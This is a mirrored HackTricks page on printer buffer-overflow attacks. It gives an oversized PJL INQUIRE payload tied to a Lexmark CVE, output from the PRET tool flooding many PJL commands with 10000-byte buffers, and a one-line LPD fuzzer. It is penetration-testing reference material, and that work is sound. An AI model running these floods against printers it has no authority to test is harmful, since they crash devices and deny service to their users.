mirror of
https://github.com/carlospolop/hacktricks.git
synced 2023-12-14 19:12:55 +01:00
87 lines
4.5 KiB
Markdown
87 lines
4.5 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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# Buffer Overflows
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## PJL
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Various _Lexmark_ laser printers crash when when receiving about 1.000 characters as the INQUIRE argument (see [CVE-2010-0619](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619)) and sending about 3.000 characters as the SET argument to the _Dell 1720n_ crashes the device:
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```
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@PJL INQUIRE 00000000000000000000000000000000000000000000000000000…
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```
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You can check for Buffer Overflows using [**PRET**](https://github.com/RUB-NDS/PRET):
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```bash
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./pret.py -q printer pjl
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> flood
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Buffer size: 10000, Sending: @PJL SET [buffer]
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Buffer size: 10000, Sending: @PJL [buffer]
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Buffer size: 10000, Sending: @PJL COMMENT [buffer]
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Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
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Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
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Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
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Buffer size: 10000, Sending: @PJL INFO [buffer]
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Buffer size: 10000, Sending: @PJL ECHO [buffer]
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Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
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Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
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Buffer size: 10000, Sending: @PJL USTATUS [buffer]
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Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
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Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
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Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
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Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
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Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
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Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"
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```
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## LPD daemon
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It allows multiple user-defined vectors like _jobname, username or hostname_, which may **not be sufficiently protected. S**everal vulnerabilities related to this malfunction has been already discovered.
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A simple **LPD fuzzer** to test for buffer overflows can be created using the `lpdtest` tool **included** in [PRET](https://github.com/RUB-NDS/PRET). The `in` argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):
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```bash
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./lpdtest.py printer in "`python -c 'print "x"*150'`"
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```
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**You can find more information about these attacks in** [**http://hacking-printers.net/wiki/index.php/Buffer\_overflows**](http://hacking-printers.net/wiki/index.php/Buffer\_overflows)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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|
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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